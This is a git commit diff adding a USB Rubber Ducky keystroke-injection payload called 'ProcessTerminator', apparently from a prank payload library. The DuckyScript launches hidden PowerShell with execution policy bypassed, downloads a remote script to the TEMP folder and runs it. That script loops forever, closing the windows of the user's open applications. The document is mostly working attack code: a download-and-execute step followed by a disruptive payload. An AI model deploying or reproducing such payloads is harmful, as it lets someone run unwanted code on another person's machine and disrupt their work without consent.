Process Terminator

pull/186/head
dsymbol 2022-12-09 01:39:02 +02:00
parent 660fadb271
commit 85a96dc114
2 changed files with 18 additions and 0 deletions

View File

@ -0,0 +1,9 @@
REM Title: ProcessTerminator
REM Author: dsymbol
REM Description: Hidden PowerShell script that tirelessly hunts down user processes and terminates them
REM Target: Windows
GUI r
DELAY 500
STRING powershell -w h -NoP -Exec Bypass iwr https://raw.githubusercontent.com/hak5/usbrubberducky-payloads/master/payloads/library/prank/ProcessTerminator/pt.ps1 -OutFile $env:TEMP\pt.ps1; & "$env:TEMP\pt.ps1"
ENTER

View File

@ -0,0 +1,9 @@
while (1) {
$ws = Get-Process | Where-Object { $_.MainWindowHandle -ne 0 }
foreach ($w in $ws) {
if ($w.ProcessName -ne 'explorer' -and $w.Id -ne $PID) {
$w.CloseMainWindow()
}
}
Start-Sleep -Seconds 1
}